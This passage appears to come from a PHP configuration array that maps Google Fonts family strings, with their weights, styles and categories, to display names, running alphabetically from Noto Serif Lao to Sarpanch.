			'"Noto Serif Lao", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                         => 'Noto Serif Lao',
			'"Noto Serif Makasar", "regular", serif'                                                                                                                                     => 'Noto Serif Makasar',
			'"Noto Serif Malayalam", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                   => 'Noto Serif Malayalam',
			'"Noto Serif Myanmar", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                     => 'Noto Serif Myanmar',
			'"Noto Serif NP Hmong", "regular:500:600:700", serif'                                                                                                                        => 'Noto Serif NP Hmong',
			'"Noto Serif Old Uyghur", "regular", serif'                                                                                                                                  => 'Noto Serif Old Uyghur',
			'"Noto Serif Oriya", "regular:500:600:700", serif'                                                                                                                           => 'Noto Serif Oriya',
			'"Noto Serif Ottoman Siyaq", "regular", serif'                                                                                                                               => 'Noto Serif Ottoman Siyaq',
			'"Noto Serif SC", "200:300:regular:500:600:700:800:900", serif'                                                                                                              => 'Noto Serif SC',
			'"Noto Serif Sinhala", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                     => 'Noto Serif Sinhala',
			'"Noto Serif TC", "200:300:regular:500:600:700:800:900", serif'                                                                                                              => 'Noto Serif TC',
			'"Noto Serif Tamil", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", serif'                => 'Noto Serif Tamil',
			'"Noto Serif Tangut", "regular", serif'                                                                                                                                      => 'Noto Serif Tangut',
			'"Noto Serif Telugu", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                      => 'Noto Serif Telugu',
			'"Noto Serif Thai", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                        => 'Noto Serif Thai',
			'"Noto Serif Tibetan", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                     => 'Noto Serif Tibetan',
			'"Noto Serif Toto", "regular:500:600:700", serif'                                                                                                                            => 'Noto Serif Toto',
			'"Noto Serif Vithkuqi", "regular:500:600:700", serif'                                                                                                                        => 'Noto Serif Vithkuqi',
			'"Noto Serif Yezidi", "regular:500:600:700", serif'                                                                                                                          => 'Noto Serif Yezidi',
			'"Noto Traditional Nushu", "300:regular:500:600:700", sans-serif'                                                                                                            => 'Noto Traditional Nushu',
			'"Noto Znamenny Musical Notation", "regular", sans-serif'                                                                                                                    => 'Noto Znamenny Musical Notation',
			'"Nova Cut", "regular", display'                                                                                                                                             => 'Nova Cut',
			'"Nova Flat", "regular", display'                                                                                                                                            => 'Nova Flat',
			'"Nova Mono", "regular", monospace'                                                                                                                                          => 'Nova Mono',
			'"Nova Oval", "regular", display'                                                                                                                                            => 'Nova Oval',
			'"Nova Round", "regular", display'                                                                                                                                           => 'Nova Round',
			'"Nova Script", "regular", display'                                                                                                                                          => 'Nova Script',
			'"Nova Slim", "regular", display'                                                                                                                                            => 'Nova Slim',
			'"Nova Square", "regular", display'                                                                                                                                          => 'Nova Square',
			'"Numans", "regular", sans-serif'                                                                                                                                            => 'Numans',
			'"Nunito", "200:300:regular:500:600:700:800:900:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                                   => 'Nunito',
			'"Nunito Sans", "200:300:regular:500:600:700:800:900:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                              => 'Nunito Sans',
			'"Nuosu SIL", "regular", sans-serif'                                                                                                                                         => 'Nuosu SIL',
			'"Odibee Sans", "regular", display'                                                                                                                                          => 'Odibee Sans',
			'"Odor Mean Chey", "regular", serif'                                                                                                                                         => 'Odor Mean Chey',
			'"Offside", "regular", display'                                                                                                                                              => 'Offside',
			'"Oi", "regular", display'                                                                                                                                                   => 'Oi',
			'"Ojuju", "200:300:regular:500:600:700:800", sans-serif'                                                                                                                     => 'Ojuju',
			'"Old Standard TT", "regular:italic:700", serif'                                                                                                                             => 'Old Standard TT',
			'"Oldenburg", "regular", display'                                                                                                                                            => 'Oldenburg',
			'"Ole", "regular", handwriting'                                                                                                                                              => 'Ole',
			'"Oleo Script", "regular:700", display'                                                                                                                                      => 'Oleo Script',
			'"Oleo Script Swash Caps", "regular:700", display'                                                                                                                           => 'Oleo Script Swash Caps',
			'"Onest", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                             => 'Onest',
			'"Oooh Baby", "regular", handwriting'                                                                                                                                        => 'Oooh Baby',
			'"Open Sans", "300:regular:500:600:700:800:300italic:italic:500italic:600italic:700italic:800italic", sans-serif'                                                            => 'Open Sans',
			'"Oranienbaum", "regular", serif'                                                                                                                                            => 'Oranienbaum',
			'"Orbit", "regular", sans-serif'                                                                                                                                             => 'Orbit',
			'"Orbitron", "regular:500:600:700:800:900", sans-serif'                                                                                                                      => 'Orbitron',
			'"Oregano", "regular:italic", display'                                                                                                                                       => 'Oregano',
			'"Orelega One", "regular", display'                                                                                                                                          => 'Orelega One',
			'"Orienta", "regular", sans-serif'                                                                                                                                           => 'Orienta',
			'"Original Surfer", "regular", display'                                                                                                                                      => 'Original Surfer',
			'"Oswald", "200:300:regular:500:600:700", sans-serif'                                                                                                                        => 'Oswald',
			'"Outfit", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                            => 'Outfit',
			'"Over the Rainbow", "regular", handwriting'                                                                                                                                 => 'Over the Rainbow',
			'"Overlock", "regular:italic:700:700italic:900:900italic", display'                                                                                                          => 'Overlock',
			'"Overlock SC", "regular", display'                                                                                                                                          => 'Overlock SC',
			'"Overpass", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                   => 'Overpass',
			'"Overpass Mono", "300:regular:500:600:700", monospace'                                                                                                                      => 'Overpass Mono',
			'"Ovo", "regular", serif'                                                                                                                                                    => 'Ovo',
			'"Oxanium", "200:300:regular:500:600:700:800", display'                                                                                                                      => 'Oxanium',
			'"Oxygen", "300:regular:700", sans-serif'                                                                                                                                    => 'Oxygen',
			'"Oxygen Mono", "regular", monospace'                                                                                                                                        => 'Oxygen Mono',
			'"PT Mono", "regular", monospace'                                                                                                                                            => 'PT Mono',
			'"PT Sans", "regular:italic:700:700italic", sans-serif'                                                                                                                      => 'PT Sans',
			'"PT Sans Caption", "regular:700", sans-serif'                                                                                                                               => 'PT Sans Caption',
			'"PT Sans Narrow", "regular:700", sans-serif'                                                                                                                                => 'PT Sans Narrow',
			'"PT Serif", "regular:italic:700:700italic", serif'                                                                                                                          => 'PT Serif',
			'"PT Serif Caption", "regular:italic", serif'                                                                                                                                => 'PT Serif Caption',
			'"Pacifico", "regular", handwriting'                                                                                                                                         => 'Pacifico',
			'"Padauk", "regular:700", sans-serif'                                                                                                                                        => 'Padauk',
			'"Padyakke Expanded One", "regular", serif'                                                                                                                                  => 'Padyakke Expanded One',
			'"Palanquin", "100:200:300:regular:500:600:700", sans-serif'                                                                                                                 => 'Palanquin',
			'"Palanquin Dark", "regular:500:600:700", sans-serif'                                                                                                                        => 'Palanquin Dark',
			'"Palette Mosaic", "regular", display'                                                                                                                                       => 'Palette Mosaic',
			'"Pangolin", "regular", handwriting'                                                                                                                                         => 'Pangolin',
			'"Paprika", "regular", display'                                                                                                                                              => 'Paprika',
			'"Parisienne", "regular", handwriting'                                                                                                                                       => 'Parisienne',
			'"Passero One", "regular", display'                                                                                                                                          => 'Passero One',
			'"Passion One", "regular:700:900", display'                                                                                                                                  => 'Passion One',
			'"Passions Conflict", "regular", handwriting'                                                                                                                                => 'Passions Conflict',
			'"Pathway Extreme", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'            => 'Pathway Extreme',
			'"Pathway Gothic One", "regular", sans-serif'                                                                                                                                => 'Pathway Gothic One',
			'"Patrick Hand", "regular", handwriting'                                                                                                                                     => 'Patrick Hand',
			'"Patrick Hand SC", "regular", handwriting'                                                                                                                                  => 'Patrick Hand SC',
			'"Pattaya", "regular", sans-serif'                                                                                                                                           => 'Pattaya',
			'"Patua One", "regular", display'                                                                                                                                            => 'Patua One',
			'"Pavanam", "regular", sans-serif'                                                                                                                                           => 'Pavanam',
			'"Paytone One", "regular", sans-serif'                                                                                                                                       => 'Paytone One',
			'"Peddana", "regular", serif'                                                                                                                                                => 'Peddana',
			'"Peralta", "regular", serif'                                                                                                                                                => 'Peralta',
			'"Permanent Marker", "regular", handwriting'                                                                                                                                 => 'Permanent Marker',
			'"Petemoss", "regular", handwriting'                                                                                                                                         => 'Petemoss',
			'"Petit Formal Script", "regular", handwriting'                                                                                                                              => 'Petit Formal Script',
			'"Petrona", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", serif'                         => 'Petrona',
			'"Philosopher", "regular:italic:700:700italic", sans-serif'                                                                                                                  => 'Philosopher',
			'"Phudu", "300:regular:500:600:700:800:900", display'                                                                                                                        => 'Phudu',
			'"Piazzolla", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", serif'                       => 'Piazzolla',
			'"Piedra", "regular", display'                                                                                                                                               => 'Piedra',
			'"Pinyon Script", "regular", handwriting'                                                                                                                                    => 'Pinyon Script',
			'"Pirata One", "regular", display'                                                                                                                                           => 'Pirata One',
			'"Pixelify Sans", "regular:500:600:700", display'                                                                                                                            => 'Pixelify Sans',
			'"Plaster", "regular", display'                                                                                                                                              => 'Plaster',
			'"Platypi", "300:regular:500:600:700:800:300italic:italic:500italic:600italic:700italic:800italic", serif'                                                                   => 'Platypi',
			'"Play", "regular:700", sans-serif'                                                                                                                                          => 'Play',
			'"Playball", "regular", display'                                                                                                                                             => 'Playball',
			'"Playfair", "300:regular:500:600:700:800:900:300italic:italic:500italic:600italic:700italic:800italic:900italic", serif'                                                    => 'Playfair',
			'"Playfair Display", "regular:500:600:700:800:900:italic:500italic:600italic:700italic:800italic:900italic", serif'                                                          => 'Playfair Display',
			'"Playfair Display SC", "regular:italic:700:700italic:900:900italic", serif'                                                                                                 => 'Playfair Display SC',
			'"Playpen Sans", "100:200:300:regular:500:600:700:800", handwriting'                                                                                                         => 'Playpen Sans',
			'"Playwrite AR", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite AR',
			'"Playwrite AT", "100:200:300:regular:100italic:200italic:300italic:italic", handwriting'                                                                                    => 'Playwrite AT',
			'"Playwrite AU NSW", "100:200:300:regular", handwriting'                                                                                                                     => 'Playwrite AU NSW',
			'"Playwrite AU QLD", "100:200:300:regular", handwriting'                                                                                                                     => 'Playwrite AU QLD',
			'"Playwrite AU SA", "100:200:300:regular", handwriting'                                                                                                                      => 'Playwrite AU SA',
			'"Playwrite AU TAS", "100:200:300:regular", handwriting'                                                                                                                     => 'Playwrite AU TAS',
			'"Playwrite AU VIC", "100:200:300:regular", handwriting'                                                                                                                     => 'Playwrite AU VIC',
			'"Playwrite BE VLG", "100:200:300:regular", handwriting'                                                                                                                     => 'Playwrite BE VLG',
			'"Playwrite BE WAL", "100:200:300:regular", handwriting'                                                                                                                     => 'Playwrite BE WAL',
			'"Playwrite BR", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite BR',
			'"Playwrite CA", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite CA',
			'"Playwrite CL", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite CL',
			'"Playwrite CO", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite CO',
			'"Playwrite CU", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite CU',
			'"Playwrite CZ", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite CZ',
			'"Playwrite DE Grund", "100:200:300:regular", handwriting'                                                                                                                   => 'Playwrite DE Grund',
			'"Playwrite DE LA", "100:200:300:regular", handwriting'                                                                                                                      => 'Playwrite DE LA',
			'"Playwrite DE SAS", "100:200:300:regular", handwriting'                                                                                                                     => 'Playwrite DE SAS',
			'"Playwrite DE VA", "100:200:300:regular", handwriting'                                                                                                                      => 'Playwrite DE VA',
			'"Playwrite DK Loopet", "100:200:300:regular", handwriting'                                                                                                                  => 'Playwrite DK Loopet',
			'"Playwrite DK Uloopet", "100:200:300:regular", handwriting'                                                                                                                 => 'Playwrite DK Uloopet',
			'"Playwrite ES", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite ES',
			'"Playwrite ES Deco", "100:200:300:regular", handwriting'                                                                                                                    => 'Playwrite ES Deco',
			'"Playwrite FR Moderne", "100:200:300:regular", handwriting'                                                                                                                 => 'Playwrite FR Moderne',
			'"Playwrite FR Trad", "100:200:300:regular", handwriting'                                                                                                                    => 'Playwrite FR Trad',
			'"Playwrite GB J", "100:200:300:regular:100italic:200italic:300italic:italic", handwriting'                                                                                  => 'Playwrite GB J',
			'"Playwrite GB S", "100:200:300:regular:100italic:200italic:300italic:italic", handwriting'                                                                                  => 'Playwrite GB S',
			'"Playwrite HR", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite HR',
			'"Playwrite HR Lijeva", "100:200:300:regular", handwriting'                                                                                                                  => 'Playwrite HR Lijeva',
			'"Playwrite HU", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite HU',
			'"Playwrite ID", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite ID',
			'"Playwrite IE", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite IE',
			'"Playwrite IN", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite IN',
			'"Playwrite IS", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite IS',
			'"Playwrite IT Moderna", "100:200:300:regular", handwriting'                                                                                                                 => 'Playwrite IT Moderna',
			'"Playwrite IT Trad", "100:200:300:regular", handwriting'                                                                                                                    => 'Playwrite IT Trad',
			'"Playwrite MX", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite MX',
			'"Playwrite NG Modern", "100:200:300:regular", handwriting'                                                                                                                  => 'Playwrite NG Modern',
			'"Playwrite NL", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite NL',
			'"Playwrite NO", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite NO',
			'"Playwrite NZ", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite NZ',
			'"Playwrite PE", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite PE',
			'"Playwrite PL", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite PL',
			'"Playwrite PT", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite PT',
			'"Playwrite RO", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite RO',
			'"Playwrite SK", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite SK',
			'"Playwrite TZ", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite TZ',
			'"Playwrite US Modern", "100:200:300:regular", handwriting'                                                                                                                  => 'Playwrite US Modern',
			'"Playwrite US Trad", "100:200:300:regular", handwriting'                                                                                                                    => 'Playwrite US Trad',
			'"Playwrite VN", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite VN',
			'"Playwrite ZA", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite ZA',
			'"Plus Jakarta Sans", "200:300:regular:500:600:700:800:200italic:300italic:italic:500italic:600italic:700italic:800italic", sans-serif'                                      => 'Plus Jakarta Sans',
			'"Podkova", "regular:500:600:700:800", serif'                                                                                                                                => 'Podkova',
			'"Poetsen One", "regular", display'                                                                                                                                          => 'Poetsen One',
			'"Poiret One", "regular", display'                                                                                                                                           => 'Poiret One',
			'"Poller One", "regular", display'                                                                                                                                           => 'Poller One',
			'"Poltawski Nowy", "regular:500:600:700:italic:500italic:600italic:700italic", serif'                                                                                        => 'Poltawski Nowy',
			'"Poly", "regular:italic", serif'                                                                                                                                            => 'Poly',
			'"Pompiere", "regular", display'                                                                                                                                             => 'Pompiere',
			'"Pontano Sans", "300:regular:500:600:700", sans-serif'                                                                                                                      => 'Pontano Sans',
			'"Poor Story", "regular", display'                                                                                                                                           => 'Poor Story',
			'"Poppins", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic:900:900italic", sans-serif'                    => 'Poppins',
			'"Port Lligat Sans", "regular", sans-serif'                                                                                                                                  => 'Port Lligat Sans',
			'"Port Lligat Slab", "regular", serif'                                                                                                                                       => 'Port Lligat Slab',
			'"Potta One", "regular", display'                                                                                                                                            => 'Potta One',
			'"Pragati Narrow", "regular:700", sans-serif'                                                                                                                                => 'Pragati Narrow',
			'"Praise", "regular", handwriting'                                                                                                                                           => 'Praise',
			'"Prata", "regular", serif'                                                                                                                                                  => 'Prata',
			'"Preahvihear", "regular", sans-serif'                                                                                                                                       => 'Preahvihear',
			'"Press Start 2P", "regular", display'                                                                                                                                       => 'Press Start 2P',
			'"Pridi", "200:300:regular:500:600:700", serif'                                                                                                                              => 'Pridi',
			'"Princess Sofia", "regular", handwriting'                                                                                                                                   => 'Princess Sofia',
			'"Prociono", "regular", serif'                                                                                                                                               => 'Prociono',
			'"Prompt", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic:900:900italic", sans-serif'                     => 'Prompt',
			'"Prosto One", "regular", display'                                                                                                                                           => 'Prosto One',
			'"Protest Guerrilla", "regular", display'                                                                                                                                    => 'Protest Guerrilla',
			'"Protest Revolution", "regular", display'                                                                                                                                   => 'Protest Revolution',
			'"Protest Riot", "regular", display'                                                                                                                                         => 'Protest Riot',
			'"Protest Strike", "regular", display'                                                                                                                                       => 'Protest Strike',
			'"Proza Libre", "regular:italic:500:500italic:600:600italic:700:700italic:800:800italic", sans-serif'                                                                        => 'Proza Libre',
			'"Public Sans", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                => 'Public Sans',
			'"Puppies Play", "regular", handwriting'                                                                                                                                     => 'Puppies Play',
			'"Puritan", "regular:italic:700:700italic", sans-serif'                                                                                                                      => 'Puritan',
			'"Purple Purse", "regular", display'                                                                                                                                         => 'Purple Purse',
			'"Qahiri", "regular", sans-serif'                                                                                                                                            => 'Qahiri',
			'"Quando", "regular", serif'                                                                                                                                                 => 'Quando',
			'"Quantico", "regular:italic:700:700italic", sans-serif'                                                                                                                     => 'Quantico',
			'"Quattrocento", "regular:700", serif'                                                                                                                                       => 'Quattrocento',
			'"Quattrocento Sans", "regular:italic:700:700italic", sans-serif'                                                                                                            => 'Quattrocento Sans',
			'"Questrial", "regular", sans-serif'                                                                                                                                         => 'Questrial',
			'"Quicksand", "300:regular:500:600:700", sans-serif'                                                                                                                         => 'Quicksand',
			'"Quintessential", "regular", handwriting'                                                                                                                                   => 'Quintessential',
			'"Qwigley", "regular", handwriting'                                                                                                                                          => 'Qwigley',
			'"Qwitcher Grypen", "regular:700", handwriting'                                                                                                                              => 'Qwitcher Grypen',
			'"REM", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                        => 'REM',
			'"Racing Sans One", "regular", display'                                                                                                                                      => 'Racing Sans One',
			'"Radio Canada", "300:regular:500:600:700:300italic:italic:500italic:600italic:700italic", sans-serif'                                                                       => 'Radio Canada',
			'"Radio Canada Big", "regular:500:600:700:italic:500italic:600italic:700italic", sans-serif'                                                                                 => 'Radio Canada Big',
			'"Radley", "regular:italic", serif'                                                                                                                                          => 'Radley',
			'"Rajdhani", "300:regular:500:600:700", sans-serif'                                                                                                                          => 'Rajdhani',
			'"Rakkas", "regular", display'                                                                                                                                               => 'Rakkas',
			'"Raleway", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                    => 'Raleway',
			'"Raleway Dots", "regular", display'                                                                                                                                         => 'Raleway Dots',
			'"Ramabhadra", "regular", sans-serif'                                                                                                                                        => 'Ramabhadra',
			'"Ramaraja", "regular", serif'                                                                                                                                               => 'Ramaraja',
			'"Rambla", "regular:italic:700:700italic", sans-serif'                                                                                                                       => 'Rambla',
			'"Rammetto One", "regular", display'                                                                                                                                         => 'Rammetto One',
			'"Rampart One", "regular", display'                                                                                                                                          => 'Rampart One',
			'"Ranchers", "regular", display'                                                                                                                                             => 'Ranchers',
			'"Rancho", "regular", handwriting'                                                                                                                                           => 'Rancho',
			'"Ranga", "regular:700", display'                                                                                                                                            => 'Ranga',
			'"Rasa", "300:regular:500:600:700:300italic:italic:500italic:600italic:700italic", serif'                                                                                    => 'Rasa',
			'"Rationale", "regular", sans-serif'                                                                                                                                         => 'Rationale',
			'"Ravi Prakash", "regular", display'                                                                                                                                         => 'Ravi Prakash',
			'"Readex Pro", "200:300:regular:500:600:700", sans-serif'                                                                                                                    => 'Readex Pro',
			'"Recursive", "300:regular:500:600:700:800:900", sans-serif'                                                                                                                 => 'Recursive',
			'"Red Hat Display", "300:regular:500:600:700:800:900:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                                        => 'Red Hat Display',
			'"Red Hat Mono", "300:regular:500:600:700:300italic:italic:500italic:600italic:700italic", monospace'                                                                        => 'Red Hat Mono',
			'"Red Hat Text", "300:regular:500:600:700:300italic:italic:500italic:600italic:700italic", sans-serif'                                                                       => 'Red Hat Text',
			'"Red Rose", "300:regular:500:600:700", display'                                                                                                                             => 'Red Rose',
			'"Redacted", "regular", display'                                                                                                                                             => 'Redacted',
			'"Redacted Script", "300:regular:700", display'                                                                                                                              => 'Redacted Script',
			'"Reddit Mono", "200:300:regular:500:600:700:800:900", monospace'                                                                                                            => 'Reddit Mono',
			'"Reddit Sans", "200:300:regular:500:600:700:800:900:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                              => 'Reddit Sans',
			'"Reddit Sans Condensed", "200:300:regular:500:600:700:800:900", sans-serif'                                                                                                 => 'Reddit Sans Condensed',
			'"Redressed", "regular", handwriting'                                                                                                                                        => 'Redressed',
			'"Reem Kufi", "regular:500:600:700", sans-serif'                                                                                                                             => 'Reem Kufi',
			'"Reem Kufi Fun", "regular:500:600:700", sans-serif'                                                                                                                         => 'Reem Kufi Fun',
			'"Reem Kufi Ink", "regular", sans-serif'                                                                                                                                     => 'Reem Kufi Ink',
			'"Reenie Beanie", "regular", handwriting'                                                                                                                                    => 'Reenie Beanie',
			'"Reggae One", "regular", display'                                                                                                                                           => 'Reggae One',
			'"Rethink Sans", "regular:500:600:700:800:italic:500italic:600italic:700italic:800italic", sans-serif'                                                                       => 'Rethink Sans',
			'"Revalia", "regular", display'                                                                                                                                              => 'Revalia',
			'"Rhodium Libre", "regular", serif'                                                                                                                                          => 'Rhodium Libre',
			'"Ribeye", "regular", display'                                                                                                                                               => 'Ribeye',
			'"Ribeye Marrow", "regular", display'                                                                                                                                        => 'Ribeye Marrow',
			'"Righteous", "regular", display'                                                                                                                                            => 'Righteous',
			'"Risque", "regular", display'                                                                                                                                               => 'Risque',
			'"Road Rage", "regular", display'                                                                                                                                            => 'Road Rage',
			'"Roboto", "100:100italic:300:300italic:regular:italic:500:500italic:700:700italic:900:900italic", sans-serif'                                                               => 'Roboto',
			'"Roboto Condensed", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'           => 'Roboto Condensed',
			'"Roboto Flex", "regular", sans-serif'                                                                                                                                       => 'Roboto Flex',
			'"Roboto Mono", "100:200:300:regular:500:600:700:100italic:200italic:300italic:italic:500italic:600italic:700italic", monospace'                                             => 'Roboto Mono',
			'"Roboto Serif", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", serif'                    => 'Roboto Serif',
			'"Roboto Slab", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                            => 'Roboto Slab',
			'"Rochester", "regular", handwriting'                                                                                                                                        => 'Rochester',
			'"Rock 3D", "regular", display'                                                                                                                                              => 'Rock 3D',
			'"Rock Salt", "regular", handwriting'                                                                                                                                        => 'Rock Salt',
			'"RocknRoll One", "regular", sans-serif'                                                                                                                                     => 'RocknRoll One',
			'"Rokkitt", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", serif'                         => 'Rokkitt',
			'"Romanesco", "regular", handwriting'                                                                                                                                        => 'Romanesco',
			'"Ropa Sans", "regular:italic", sans-serif'                                                                                                                                  => 'Ropa Sans',
			'"Rosario", "300:regular:500:600:700:300italic:italic:500italic:600italic:700italic", sans-serif'                                                                            => 'Rosario',
			'"Rosarivo", "regular:italic", serif'                                                                                                                                        => 'Rosarivo',
			'"Rouge Script", "regular", handwriting'                                                                                                                                     => 'Rouge Script',
			'"Rowdies", "300:regular:700", display'                                                                                                                                      => 'Rowdies',
			'"Rozha One", "regular", serif'                                                                                                                                              => 'Rozha One',
			'"Rubik", "300:regular:500:600:700:800:900:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                                                  => 'Rubik',
			'"Rubik 80s Fade", "regular", display'                                                                                                                                       => 'Rubik 80s Fade',
			'"Rubik Beastly", "regular", display'                                                                                                                                        => 'Rubik Beastly',
			'"Rubik Broken Fax", "regular", display'                                                                                                                                     => 'Rubik Broken Fax',
			'"Rubik Bubbles", "regular", display'                                                                                                                                        => 'Rubik Bubbles',
			'"Rubik Burned", "regular", display'                                                                                                                                         => 'Rubik Burned',
			'"Rubik Dirt", "regular", display'                                                                                                                                           => 'Rubik Dirt',
			'"Rubik Distressed", "regular", display'                                                                                                                                     => 'Rubik Distressed',
			'"Rubik Doodle Shadow", "regular", display'                                                                                                                                  => 'Rubik Doodle Shadow',
			'"Rubik Doodle Triangles", "regular", display'                                                                                                                               => 'Rubik Doodle Triangles',
			'"Rubik Gemstones", "regular", display'                                                                                                                                      => 'Rubik Gemstones',
			'"Rubik Glitch", "regular", display'                                                                                                                                         => 'Rubik Glitch',
			'"Rubik Glitch Pop", "regular", display'                                                                                                                                     => 'Rubik Glitch Pop',
			'"Rubik Iso", "regular", display'                                                                                                                                            => 'Rubik Iso',
			'"Rubik Lines", "regular", display'                                                                                                                                          => 'Rubik Lines',
			'"Rubik Maps", "regular", display'                                                                                                                                           => 'Rubik Maps',
			'"Rubik Marker Hatch", "regular", display'                                                                                                                                   => 'Rubik Marker Hatch',
			'"Rubik Maze", "regular", display'                                                                                                                                           => 'Rubik Maze',
			'"Rubik Microbe", "regular", display'                                                                                                                                        => 'Rubik Microbe',
			'"Rubik Mono One", "regular", sans-serif'                                                                                                                                    => 'Rubik Mono One',
			'"Rubik Moonrocks", "regular", display'                                                                                                                                      => 'Rubik Moonrocks',
			'"Rubik Pixels", "regular", display'                                                                                                                                         => 'Rubik Pixels',
			'"Rubik Puddles", "regular", display'                                                                                                                                        => 'Rubik Puddles',
			'"Rubik Scribble", "regular", display'                                                                                                                                       => 'Rubik Scribble',
			'"Rubik Spray Paint", "regular", display'                                                                                                                                    => 'Rubik Spray Paint',
			'"Rubik Storm", "regular", display'                                                                                                                                          => 'Rubik Storm',
			'"Rubik Vinyl", "regular", display'                                                                                                                                          => 'Rubik Vinyl',
			'"Rubik Wet Paint", "regular", display'                                                                                                                                      => 'Rubik Wet Paint',
			'"Ruda", "regular:500:600:700:800:900", sans-serif'                                                                                                                          => 'Ruda',
			'"Rufina", "regular:700", serif'                                                                                                                                             => 'Rufina',
			'"Ruge Boogie", "regular", handwriting'                                                                                                                                      => 'Ruge Boogie',
			'"Ruluko", "regular", sans-serif'                                                                                                                                            => 'Ruluko',
			'"Rum Raisin", "regular", sans-serif'                                                                                                                                        => 'Rum Raisin',
			'"Ruslan Display", "regular", display'                                                                                                                                       => 'Ruslan Display',
			'"Russo One", "regular", sans-serif'                                                                                                                                         => 'Russo One',
			'"Ruthie", "regular", handwriting'                                                                                                                                           => 'Ruthie',
			'"Ruwudu", "regular:500:600:700", serif'                                                                                                                                     => 'Ruwudu',
			'"Rye", "regular", display'                                                                                                                                                  => 'Rye',
			'"STIX Two Text", "regular:500:600:700:italic:500italic:600italic:700italic", serif'                                                                                         => 'STIX Two Text',
			'"Sacramento", "regular", handwriting'                                                                                                                                       => 'Sacramento',
			'"Sahitya", "regular:700", serif'                                                                                                                                            => 'Sahitya',
			'"Sail", "regular", display'                                                                                                                                                 => 'Sail',
			'"Saira", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                      => 'Saira',
			'"Saira Condensed", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                   => 'Saira Condensed',
			'"Saira Extra Condensed", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                             => 'Saira Extra Condensed',
			'"Saira Semi Condensed", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                              => 'Saira Semi Condensed',
			'"Saira Stencil One", "regular", display'                                                                                                                                    => 'Saira Stencil One',
			'"Salsa", "regular", display'                                                                                                                                                => 'Salsa',
			'"Sanchez", "regular:italic", serif'                                                                                                                                         => 'Sanchez',
			'"Sancreek", "regular", display'                                                                                                                                             => 'Sancreek',
			'"Sankofa Display", "regular", sans-serif'                                                                                                                                   => 'Sankofa Display',
			'"Sansita", "regular:italic:700:700italic:800:800italic:900:900italic", sans-serif'                                                                                          => 'Sansita',
			'"Sansita Swashed", "300:regular:500:600:700:800:900", display'                                                                                                              => 'Sansita Swashed',
			'"Sarabun", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic", sans-serif'                                  => 'Sarabun',
			'"Sarala", "regular:700", sans-serif'                                                                                                                                        => 'Sarala',
			'"Sarina", "regular", display'                                                                                                                                               => 'Sarina',
			'"Sarpanch", "regular:500:600:700:800:900", sans-serif'                                                                                                                      => 'Sarpanch',
